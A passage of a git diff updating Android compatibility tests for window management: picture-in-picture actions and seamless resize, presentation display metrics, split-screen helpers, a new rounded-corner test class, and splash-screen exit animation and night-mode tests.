         assertPinnedStackDoesNotExist();
         assertEquals(activityTaskId, mWmState.getTaskByActivity(
@@ -1223,7 +1237,7 @@
 
     /** Test that reported display size corresponds to fullscreen after exiting PiP. */
     @Test
-    public void testDisplayMetricsPinUnpin() throws Exception {
+    public void testDisplayMetricsPinUnpin() {
         separateTestJournal();
         launchActivity(TEST_ACTIVITY);
         final int defaultWindowingMode = mWmState
@@ -1234,7 +1248,7 @@
         assertNotNull("Must report app bounds", initialAppBounds);
 
         separateTestJournal();
-        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
         // Wait for animation complete since we are comparing bounds
         waitForEnterPipAnimationComplete(PIP_ACTIVITY);
         final SizeInfo pinnedSizes = getLastReportedSizesForActivity(PIP_ACTIVITY);
@@ -1256,6 +1270,99 @@
                 finalAppSize);
     }
 
+    @Test
+    public void testAutoPipAllowedBypassesExplicitEnterPip() {
+        // Launch a test activity so that we're not over home.
+        launchActivity(TEST_ACTIVITY);
+
+        // Launch the PIP activity and set its pip params to allow auto-pip.
+        launchActivity(PIP_ACTIVITY, extraString(EXTRA_ALLOW_AUTO_PIP, "true"));
+        assertPinnedStackDoesNotExist();
+
+        // Go home and ensure that there is a pinned stack.
+        launchHomeActivity();
+        waitForEnterPip(PIP_ACTIVITY);
+        assertPinnedStackExists();
+    }
+
+    @Test
+    public void testMaxNumberOfActions() {
+        final int maxNumberActions = ActivityTaskManager.getMaxNumPictureInPictureActions(mContext);
+        assertThat(maxNumberActions, greaterThanOrEqualTo(3));
+    }
+
+    @Test
+    public void testFillMaxAllowedActions() {
+        final int maxNumberActions = ActivityTaskManager.getMaxNumPictureInPictureActions(mContext);
+        // Launch the PIP activity with max allowed actions
+        launchActivity(PIP_ACTIVITY,
+                extraString(EXTRA_NUMBER_OF_CUSTOM_ACTIONS, String.valueOf(maxNumberActions)));
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
+
+        assertNumberOfActions(PIP_ACTIVITY, maxNumberActions);
+    }
+
+    @Test
+    public void testRejectExceededActions() {
+        final int maxNumberActions = ActivityTaskManager.getMaxNumPictureInPictureActions(mContext);
+        // Launch the PIP activity with exceeded amount of actions
+        launchActivity(PIP_ACTIVITY,
+                extraString(EXTRA_NUMBER_OF_CUSTOM_ACTIONS, String.valueOf(maxNumberActions + 1)));
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
+
+        assertNumberOfActions(PIP_ACTIVITY, maxNumberActions);
+    }
+
+    @Test
+    public void testIsSeamlessResizeEnabledDefaultToTrue() {
+        // Launch the PIP activity with some random param without setting isSeamlessResizeEnabled
+        // so the PictureInPictureParams acquired from TaskInfo is not null
+        launchActivity(PIP_ACTIVITY,
+                extraString(EXTRA_NUMBER_OF_CUSTOM_ACTIONS, String.valueOf(1)));
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
+
+        // Assert the default value of isSeamlessResizeEnabled is set to true.
+        assertIsSeamlessResizeEnabled(PIP_ACTIVITY, true);
+    }
+
+    @Test
+    public void testDisableIsSeamlessResizeEnabled() {
+        // Launch the PIP activity with overridden isSeamlessResizeEnabled param
+        launchActivity(PIP_ACTIVITY, extraBool(EXTRA_IS_SEAMLESS_RESIZE_ENABLED, false));
+        enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
+
+        // Assert the value of isSeamlessResizeEnabled is overridden.
+        assertIsSeamlessResizeEnabled(PIP_ACTIVITY, false);
+    }
+
+    private void assertIsSeamlessResizeEnabled(ComponentName componentName, boolean expected) {
+        runWithShellPermission(() -> {
+            final ActivityTask task = mWmState.getTaskByActivity(componentName);
+            final TaskInfo info = mTaskOrganizer.getTaskInfo(task.getTaskId());
+            final PictureInPictureParams params = info.getPictureInPictureParams();
+
+            assertEquals(expected, params.isSeamlessResizeEnabled());
+        });
+    }
+
+    private void assertNumberOfActions(ComponentName componentName, int numberOfActions) {
+        runWithShellPermission(() -> {
+            final ActivityTask task = mWmState.getTaskByActivity(componentName);
+            final TaskInfo info = mTaskOrganizer.getTaskInfo(task.getTaskId());
+            final PictureInPictureParams params = info.getPictureInPictureParams();
+
+            assertNotNull(params);
+            assertNotNull(params.getActions());
+            assertEquals(params.getActions().size(), numberOfActions);
+        });
+    }
+
+    private void enterPipAndAssertPinnedTaskExists(ComponentName activityName) {
+        mBroadcastActionTrigger.doAction(ACTION_ENTER_PIP);
+        waitForEnterPip(activityName);
+        assertPinnedStackExists();
+    }
+
     /** Get app bounds in last applied configuration. */
     private Rect getAppBounds(ComponentName activityName) {
         final Configuration config = TestJournalContainer.get(activityName).extras
@@ -1531,17 +1638,10 @@
      *       if the stack is focused.
      */
     private void pinnedStackTester(String startActivityCmd, ComponentName startActivity,
-            ComponentName topActivityName, boolean moveTopToPinnedStack, boolean isFocusable) {
+            ComponentName topActivityName, boolean isFocusable) {
         executeShellCommand(startActivityCmd);
         mWmState.waitForValidState(startActivity);
 
-        if (moveTopToPinnedStack) {
-            final int stackId = mWmState.getStackIdByActivity(topActivityName);
-
-            assertNotEquals(stackId, INVALID_STACK_ID);
-            moveTopActivityToPinnedStack(stackId);
-        }
-
         mWmState.waitForValidState(new WaitForValidActivityState.Builder(topActivityName)
                 .setWindowingMode(WINDOWING_MODE_PINNED)
                 .setActivityType(ACTIVITY_TYPE_STANDARD)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java b/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
index 4b34c9b..6383d29 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
@@ -46,7 +46,7 @@
             if ((display.getFlags() & Display.FLAG_PRESENTATION) != Display.FLAG_PRESENTATION) {
                 assertNoPresentationDisplayed();
             } else {
-                assertPresentationOnDisplay(display.getDisplayId());
+                assertPresentationOnDisplayAndMatchesDisplayMetrics(display.getDisplayId());
             }
         }
     }
@@ -63,11 +63,11 @@
                 .isEqualTo(Display.FLAG_PRESENTATION);
 
         launchPresentationActivity(display.mId);
-        assertPresentationOnDisplay(display.mId);
+        assertPresentationOnDisplayAndMatchesDisplayMetrics(display.mId);
     }
 
     @Test
-    public void testPresentationDismissAfterResizeDisplay() {
+    public void testPresentationNotDismissAfterResizeDisplay() {
         final VirtualDisplaySession virtualDisplaySession = createManagedVirtualDisplaySession();
         WindowManagerState.DisplayContent display = virtualDisplaySession
                         .setPresentationDisplay(true)
@@ -79,14 +79,14 @@
                 .isEqualTo(Display.FLAG_PRESENTATION);
 
         launchPresentationActivity(display.mId);
-        assertPresentationOnDisplay(display.mId);
+        assertPresentationOnDisplayAndMatchesDisplayMetrics(display.mId);
 
         virtualDisplaySession.resizeDisplay();
 
-        assertTrue("Presentation must dismiss on external public display",
-                mWmState.waitForWithAmState(
-                        state -> !isPresentationOnDisplay(state, display.mId),
-                        "Presentation window dismiss"));
+        assertTrue("Presentation must not dismiss on external public display even if"
+                + "display resize", mWmState.waitForWithAmState(
+                state -> isPresentationOnDisplay(state, display.mId),
+                "Presentation window still shows"));
     }
 
     @Test
@@ -117,13 +117,17 @@
         assertThat(presentationWindows).isEmpty();
     }
 
-    private void assertPresentationOnDisplay(int displayId) {
+    private void assertPresentationOnDisplayAndMatchesDisplayMetrics(int displayId) {
         final List<WindowManagerState.WindowState> presentationWindows =
                 mWmState.getWindowsByPackageName(
                         Components.PRESENTATION_ACTIVITY.getPackageName(), TYPE_PRESENTATION);
         assertThat(presentationWindows).hasSize(1);
         WindowManagerState.WindowState presentationWindowState = presentationWindows.get(0);
         assertThat(presentationWindowState.getDisplayId()).isEqualTo(displayId);
+
+        WindowManagerState.DisplayContent display = mWmState.getDisplay(displayId);
+        assertThat(display.getDisplayRect()).isEqualTo(
+                presentationWindowState.mFullConfiguration.windowConfiguration.getBounds());
     }
 
     private void launchPresentationActivity(int displayId) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ReplaceWindowTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ReplaceWindowTests.java
index 96cec2c..7e96ab1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ReplaceWindowTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ReplaceWindowTests.java
@@ -16,7 +16,6 @@
 
 package android.server.wm;
 
-import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.server.wm.ComponentNameUtils.getWindowName;
 import static android.server.wm.StateLogger.log;
 import static android.server.wm.app.Components.NO_RELAUNCH_ACTIVITY;
@@ -79,7 +78,7 @@
         final String oldToken = getWindowToken(windowName, activityName);
 
         // Move to docked stack
-        setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        putActivityInPrimarySplit(activityName);
 
         // Sleep 5 seconds, then check if the window is replaced properly.
         SystemClock.sleep(TimeUnit.SECONDS.toMillis(5));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
new file mode 100644
index 0000000..1a5a683
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java
@@ -0,0 +1,216 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_LANDSCAPE;
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT;
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED;
+import static android.server.wm.RoundedCornerTests.TestActivity.EXTRA_ORIENTATION;
+import static android.view.RoundedCorner.POSITION_BOTTOM_LEFT;
+import static android.view.RoundedCorner.POSITION_BOTTOM_RIGHT;
+import static android.view.RoundedCorner.POSITION_TOP_LEFT;
+import static android.view.RoundedCorner.POSITION_TOP_RIGHT;
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_PANEL;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.graphics.Rect;
+import android.os.Bundle;
+import android.platform.test.annotations.Presubmit;
+import android.util.Log;
+import android.view.Display;
+import android.view.Gravity;
+import android.view.RoundedCorner;
+import android.view.View;
+import android.view.Window;
+import android.view.WindowInsets;
+import android.view.WindowManager;
+import android.view.WindowMetrics;
+
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+@Presubmit
+@RunWith(Parameterized.class)
+public class RoundedCornerTests {
+    private static final String TAG = "RoundedCornerTests";
+    private final static int POSITION_LENGTH = 4;
+    private final static long TIMEOUT = 1000; // milliseconds
+
+    @Parameterized.Parameters(name= "{1}({0})")
+    public static Object[][] data() {
+        return new Object[][]{
+                {SCREEN_ORIENTATION_PORTRAIT, "SCREEN_ORIENTATION_PORTRAIT"},
+                {SCREEN_ORIENTATION_LANDSCAPE, "SCREEN_ORIENTATION_LANDSCAPE"},
+                {SCREEN_ORIENTATION_REVERSE_LANDSCAPE, "SCREEN_ORIENTATION_REVERSE_LANDSCAPE"},
+                {SCREEN_ORIENTATION_REVERSE_PORTRAIT, "SCREEN_ORIENTATION_REVERSE_PORTRAIT"},
+        };
+    }
+
+    @Parameterized.Parameter(0)
+    public int orientation;
+
+    @Parameterized.Parameter(1)
+    public String orientationName;
+
+    @Rule
+    public final ActivityTestRule<TestActivity> mTestActivity =
+            new ActivityTestRule<>(TestActivity.class, false /* initialTouchMode */,
+                    false /* launchActivity */);
+
+    @Test
+    public void testRoundedCorner_fullscreen() {
+        final TestActivity activity = mTestActivity.launchActivity(
+                new Intent().putExtra(EXTRA_ORIENTATION, orientation));
+        runOnMainSync(() -> {
+            activity.addChildWindow(
+                    activity.calculateWindowBounds(false /* excludeRoundedCorners */));
+        });
+        // Make sure the child window has been laid out.
+        final View childWindowRoot = activity.getChildWindowRoot();
+        PollingCheck.waitFor(TIMEOUT, () -> childWindowRoot.getWidth() > 0);
+        PollingCheck.waitFor(TIMEOUT, () -> activity.getDispatchedInsets() != null);
+        final WindowInsets insets = activity.getDispatchedInsets();
+
+        final Display display = activity.getDisplay();
+        for (int i = 0; i < POSITION_LENGTH; i++) {
+            assertEquals(insets.getRoundedCorner(i), display.getRoundedCorner(i));
+        }
+    }
+
+    @Test
+    public void testRoundedCorner_excludeRoundedCorners() {
+        final TestActivity activity = mTestActivity.launchActivity(
+                new Intent().putExtra(EXTRA_ORIENTATION, orientation));
+        if (!activity.hasRoundedCorners()) {
+            Log.d(TAG, "There is no rounded corner on the display. Skipped!!");
+            return;
+        }
+        runOnMainSync(() -> {
+            activity.addChildWindow(
+                    activity.calculateWindowBounds(true /* excludeRoundedCorners */));
+        });
+
+        // Make sure the child window has been laid out.
+        final View childWindowRoot = activity.getChildWindowRoot();
+        PollingCheck.waitFor(TIMEOUT, () -> childWindowRoot.getWidth() > 0);
+        PollingCheck.waitFor(TIMEOUT, () -> activity.getDispatchedInsets() != null);
+        final WindowInsets insets = activity.getDispatchedInsets();
+
+        for (int i = 0; i < POSITION_LENGTH; i++) {
+            assertNull("The rounded corners should be null.", insets.getRoundedCorner(i));
+        }
+    }
+
+    private void runOnMainSync(Runnable runnable) {
+        getInstrumentation().runOnMainSync(runnable);
+    }
+
+    public static class TestActivity extends Activity {
+        static final String EXTRA_ORIENTATION = "extra.orientation";
+
+        private View mChildWindowRoot;
+        private WindowInsets mDispatchedInsets;
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+            getWindow().requestFeature(Window.FEATURE_NO_TITLE);
+            getWindow().getAttributes().layoutInDisplayCutoutMode =
+                    LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+            if (getIntent() != null) {
+                setRequestedOrientation(getIntent().getIntExtra(
+                        EXTRA_ORIENTATION, SCREEN_ORIENTATION_UNSPECIFIED));
+            }
+        }
+
+        void addChildWindow(Rect bounds) {
+            final WindowManager.LayoutParams attrs = new WindowManager.LayoutParams();
+            attrs.x = bounds.left;
+            attrs.y = bounds.top;
+            attrs.width = bounds.width();
+            attrs.height = bounds.height();
+            attrs.gravity = Gravity.LEFT | Gravity.TOP;
+            attrs.layoutInDisplayCutoutMode = LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+            attrs.flags = FLAG_NOT_FOCUSABLE;
+            attrs.setFitInsetsTypes(0);
+            mChildWindowRoot = new View(this);
+            mChildWindowRoot.setOnApplyWindowInsetsListener(
+                    (v, insets) -> mDispatchedInsets = insets);
+            getWindowManager().addView(mChildWindowRoot, attrs);
+        }
+
+        View getChildWindowRoot() {
+            return mChildWindowRoot;
+        }
+
+        WindowInsets getDispatchedInsets() {
+            return mDispatchedInsets;
+        }
+
+        boolean hasRoundedCorners() {
+            final Display display = getDisplay();
+            return display.getRoundedCorner(POSITION_TOP_LEFT) != null
+                    || display.getRoundedCorner(POSITION_TOP_RIGHT) != null
+                    || display.getRoundedCorner(POSITION_BOTTOM_RIGHT) != null
+                    || display.getRoundedCorner(POSITION_BOTTOM_LEFT) != null;
+        }
+
+        Rect calculateWindowBounds(boolean excludeRoundedCorners) {
+            final Display display = getDisplay();
+            final WindowMetrics windowMetrics = getWindowManager().getMaximumWindowMetrics();
+            if (!excludeRoundedCorners) {
+                return windowMetrics.getBounds();
+            }
+            final Rect bounds = new Rect();
+            final int width = windowMetrics.getBounds().width();
+            final int height = windowMetrics.getBounds().height();
+            final RoundedCorner topLeft = display.getRoundedCorner(POSITION_TOP_LEFT);
+            final RoundedCorner topRight = display.getRoundedCorner(POSITION_TOP_RIGHT);
+            final RoundedCorner bottomRight = display.getRoundedCorner(POSITION_BOTTOM_RIGHT);
+            final RoundedCorner bottomLeft = display.getRoundedCorner(POSITION_BOTTOM_LEFT);
+
+            bounds.left = Math.max(topLeft != null ? topLeft.getCenter().x : 0,
+                    bottomLeft != null ? bottomLeft.getCenter().x : 0);
+            bounds.top = Math.max(topLeft != null ? topLeft.getCenter().y : 0,
+                    bottomLeft != null ? bottomLeft.getCenter().y : 0);
+            bounds.right = Math.min(topRight != null ? topRight.getCenter().x : width,
+                    bottomRight != null ? bottomRight.getCenter().x : width);
+            bounds.bottom = Math.min(bottomRight != null ? bottomRight.getCenter().y : height,
+                    bottomLeft != null ? bottomLeft.getCenter().y : height);
+
+            Log.d(TAG, "Window bounds with rounded corners excluded = " + bounds);
+            return bounds;
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index 9a92df9..e08229e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -16,25 +16,63 @@
 
 package android.server.wm;
 
+import static android.app.UiModeManager.MODE_NIGHT_AUTO;
+import static android.app.UiModeManager.MODE_NIGHT_CUSTOM;
+import static android.app.UiModeManager.MODE_NIGHT_NO;
+import static android.app.UiModeManager.MODE_NIGHT_YES;
+import static android.server.wm.CliIntentExtra.extraBool;
+import static android.server.wm.CliIntentExtra.extraString;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.app.Components.HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY;
 import static android.server.wm.app.Components.SPLASHSCREEN_ACTIVITY;
+import static android.server.wm.app.Components.SPLASH_SCREEN_REPLACE_ICON_ACTIVITY;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CANCEL_HANDLE_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CONTAINS_BRANDING_VIEW;
+import static android.server.wm.app.Components.TestStartingWindowKeys.CONTAINS_CENTER_VIEW;
+import static android.server.wm.app.Components.TestStartingWindowKeys.DELAY_RESUME;
+import static android.server.wm.app.Components.TestStartingWindowKeys.GET_NIGHT_MODE_ACTIVITY_CHANGED;
+import static android.server.wm.app.Components.TestStartingWindowKeys.HANDLE_SPLASH_SCREEN_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.ICON_ANIMATION_DURATION;
+import static android.server.wm.app.Components.TestStartingWindowKeys.ICON_ANIMATION_START;
+import static android.server.wm.app.Components.TestStartingWindowKeys.ICON_BACKGROUND_COLOR;
+import static android.server.wm.app.Components.TestStartingWindowKeys.RECEIVE_SPLASH_SCREEN_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REPLACE_ICON_EXIT;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_HANDLE_EXIT_ON_CREATE;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_HANDLE_EXIT_ON_RESUME;
+import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_SET_NIGHT_MODE_ON_CREATE;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowInsets.Type.captionBar;
+import static android.view.WindowInsets.Type.systemBars;
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.lessThan;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
+import android.app.UiModeManager;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.LauncherApps;
+import android.content.pm.ShortcutInfo;
+import android.content.pm.ShortcutManager;
+import android.content.res.Configuration;
 import android.graphics.Bitmap;
 import android.graphics.Color;
 import android.graphics.Rect;
 import android.platform.test.annotations.Presubmit;
 import android.view.WindowManager;
+import android.view.WindowMetrics;
+
+import com.android.compatibility.common.util.TestUtils;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import java.util.Collections;
 
 /**
  * Build/Install/Run:
@@ -57,21 +95,24 @@
     @Test
     public void testSplashscreenContent() {
         launchActivityNoWait(SPLASHSCREEN_ACTIVITY);
+        testSplashScreenColor(SPLASHSCREEN_ACTIVITY, Color.RED, Color.BLACK);
+    }
+
+    private void testSplashScreenColor(ComponentName name, int primaryColor, int secondaryColor) {
         // Activity may not be launched yet even if app transition is in idle state.
-        mWmState.waitForActivityState(SPLASHSCREEN_ACTIVITY, STATE_RESUMED);
+        mWmState.waitForActivityState(name, STATE_RESUMED);
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
-        mWmState.getStableBounds();
         final Bitmap image = takeScreenshot();
-        int windowingMode = mWmState.getFocusedStackWindowingMode();
-        Rect appBounds = new Rect();
-        appBounds.set(windowingMode == WINDOWING_MODE_FULLSCREEN ?
-                mWmState.getStableBounds() :
-                mWmState.findFirstWindowWithType(
-                        WindowManager.LayoutParams.TYPE_APPLICATION_STARTING).getContentFrame());
-        // Use ratios to flexibly accomodate circular or not quite rectangular displays
+        final WindowMetrics windowMetrics = mWm.getMaximumWindowMetrics();
+        final Rect stableBounds = new Rect(windowMetrics.getBounds());
+        stableBounds.inset(windowMetrics.getWindowInsets().getInsetsIgnoringVisibility(
+                systemBars() & ~captionBar()));
+        final Rect appBounds = new Rect(mWmState.findFirstWindowWithType(
+                WindowManager.LayoutParams.TYPE_APPLICATION_STARTING).getBounds());
+        appBounds.intersect(stableBounds);
+        // Use ratios to flexibly accommodate circular or not quite rectangular displays
         // Note: Color.BLACK is the pixel color outside of the display region
-        assertColors(image, appBounds,
-            Color.RED, 0.50f, Color.BLACK, 0.02f);
+        assertColors(image, appBounds, primaryColor, 0.50f, secondaryColor, 0.02f);
     }
 
     private void assertColors(Bitmap img, Rect bounds, int primaryColor,
@@ -111,4 +152,142 @@
                     + " secondaryPixels=" + secondaryPixels + " wrongPixels=" + wrongPixels);
         }
     }
+
+    private void assumeNewApisEnabled() {
+        // Temporary verify by shell command before new APIs enable.
+        final String enableTest =
+                executeShellCommand("getprop persist.debug.shell_starting_surface").trim();
+        assumeTrue(Boolean.parseBoolean(enableTest));
+    }
+
+    @Test
+    public void testHandleExitAnimationOnCreate() throws Exception {
+        assumeNewApisEnabled();
+        launchRuntimeHandleExitAnimationActivity(true, false, false, true);
+    }
+    @Test
+    public void testHandleExitAnimationOnResume() throws Exception {
+        assumeNewApisEnabled();
+        launchRuntimeHandleExitAnimationActivity(false, true, false, true);
+    }
+    @Test
+    public void testHandleExitAnimationCancel() throws Exception {
+        assumeNewApisEnabled();
+        launchRuntimeHandleExitAnimationActivity(true, false, true, false);
+    }
+
+    private void launchRuntimeHandleExitAnimationActivity(boolean extraOnCreate,
+            boolean extraOnResume, boolean extraCancel, boolean expectResult) throws Exception {
+        TestJournalProvider.TestJournalContainer.start();
+        launchActivity(HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY,
+                extraBool(REQUEST_HANDLE_EXIT_ON_CREATE, extraOnCreate),
+                extraBool(REQUEST_HANDLE_EXIT_ON_RESUME, extraOnResume),
+                extraBool(CANCEL_HANDLE_EXIT, extraCancel));
+
+        mWmState.computeState(HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY);
+        mWmState.assertVisibility(HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY, true);
+        final TestJournalProvider.TestJournal journal =
+                TestJournalProvider.TestJournalContainer.get(HANDLE_SPLASH_SCREEN_EXIT);
+        TestUtils.waitUntil("Waiting for runtime onSplashScreenExit", 5 /* timeoutSecond */,
+                () -> expectResult == journal.extras.getBoolean(RECEIVE_SPLASH_SCREEN_EXIT));
+        assertEquals(expectResult, journal.extras.getBoolean(CONTAINS_CENTER_VIEW));
+        assertEquals(expectResult, journal.extras.getBoolean(CONTAINS_BRANDING_VIEW));
+        assertEquals(expectResult ? Color.BLUE : Color.TRANSPARENT,
+                journal.extras.getInt(ICON_BACKGROUND_COLOR));
+    }
+
+    @Test
+    public void testSetApplicationNightMode() throws Exception {
+        assumeNewApisEnabled();
+        final UiModeManager uiModeManager = mContext.getSystemService(UiModeManager.class);
+        assumeTrue(uiModeManager != null);
+        final int systemNightMode = uiModeManager.getNightMode();
+        final int testNightMode = (systemNightMode == MODE_NIGHT_AUTO
+                || systemNightMode == MODE_NIGHT_CUSTOM) ? MODE_NIGHT_YES
+                : systemNightMode == MODE_NIGHT_YES ? MODE_NIGHT_NO : MODE_NIGHT_YES;
+        final int testConfigNightMode = testNightMode == MODE_NIGHT_YES
+                ? Configuration.UI_MODE_NIGHT_YES
+                : Configuration.UI_MODE_NIGHT_NO;
+        final String nightModeNo = String.valueOf(testNightMode);
+
+        TestJournalProvider.TestJournalContainer.start();
+        launchActivity(HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY,
+                extraString(REQUEST_SET_NIGHT_MODE_ON_CREATE, nightModeNo));
+        mWmState.computeState(HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY);
+        mWmState.assertVisibility(HANDLE_SPLASH_SCREEN_EXIT_ACTIVITY, true);
+        final TestJournalProvider.TestJournal journal =
+                TestJournalProvider.TestJournalContainer.get(HANDLE_SPLASH_SCREEN_EXIT);
+        TestUtils.waitUntil("Waiting for night mode changed", 5 /* timeoutSecond */, () ->
+                testConfigNightMode == journal.extras.getInt(GET_NIGHT_MODE_ACTIVITY_CHANGED));
+        assertEquals(testConfigNightMode,
+                journal.extras.getInt(GET_NIGHT_MODE_ACTIVITY_CHANGED));
+    }
+
+    @Test
+    public void testSetBackgroundColorActivity() {
+        assumeNewApisEnabled();
+        launchActivityNoWait(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, extraBool(DELAY_RESUME, true));
+        testSplashScreenColor(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, Color.BLUE, Color.BLACK);
+    }
+
+    @Test
+    public void testHandleExitIconAnimatingActivity() throws Exception {
+        assumeNewApisEnabled();
+        TestJournalProvider.TestJournalContainer.start();
+        launchActivity(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY,
+                extraBool(REQUEST_HANDLE_EXIT_ON_CREATE, true));
+        mWmState.computeState(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY);
+        mWmState.assertVisibility(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, true);
+        final TestJournalProvider.TestJournal journal =
+                TestJournalProvider.TestJournalContainer.get(REPLACE_ICON_EXIT);
+        TestUtils.waitUntil("Waiting for runtime onSplashScreenExit", 5 /* timeoutSecond */,
+                () -> journal.extras.getBoolean(RECEIVE_SPLASH_SCREEN_EXIT));
+        assertTrue(journal.extras.getBoolean(CONTAINS_CENTER_VIEW));
+        final long iconAnimationStart = journal.extras.getLong(ICON_ANIMATION_START);
+        final long iconAnimationDuration = journal.extras.getLong(ICON_ANIMATION_DURATION);
+        assertTrue(iconAnimationStart != 0);
+        assertEquals(iconAnimationDuration, 500);
+        assertFalse(journal.extras.getBoolean(CONTAINS_BRANDING_VIEW));
+    }
+
+    @Test
+    public void testCancelHandleExitIconAnimatingActivity() {
+        assumeNewApisEnabled();
+        TestJournalProvider.TestJournalContainer.start();
+        launchActivity(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY,
+                extraBool(REQUEST_HANDLE_EXIT_ON_CREATE, true),
+                extraBool(CANCEL_HANDLE_EXIT, true));
+        mWmState.waitForActivityState(SPLASH_SCREEN_REPLACE_ICON_ACTIVITY, STATE_RESUMED);
+        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+
+        final TestJournalProvider.TestJournal journal =
+                TestJournalProvider.TestJournalContainer.get(REPLACE_ICON_EXIT);
+        assertFalse(journal.extras.getBoolean(RECEIVE_SPLASH_SCREEN_EXIT));
+    }
+
+    @Test
+    public void testShortcutChangeTheme() {
+        assumeNewApisEnabled();
+        final LauncherApps launcherApps = mContext.getSystemService(LauncherApps.class);
+        final ShortcutManager shortcutManager = mContext.getSystemService(ShortcutManager.class);
+        assumeTrue(launcherApps != null && shortcutManager != null);
+
+        final String shortCutId = "shortcut1";
+        final ShortcutInfo.Builder b = new ShortcutInfo.Builder(
+                mContext, shortCutId);
+        final Intent i = new Intent(Intent.ACTION_MAIN)
+                .setComponent(SPLASHSCREEN_ACTIVITY);
+        final ShortcutInfo shortcut = b.setShortLabel("label")
+                .setLongLabel("long label")
+                .setIntent(i)
+                .setStartingTheme(android.R.style.Theme_Black_NoTitleBar_Fullscreen)
+                .build();
+        try {
+            shortcutManager.addDynamicShortcuts(Collections.singletonList(shortcut));
+            runWithShellPermission(() -> launcherApps.startShortcut(shortcut, null, null));
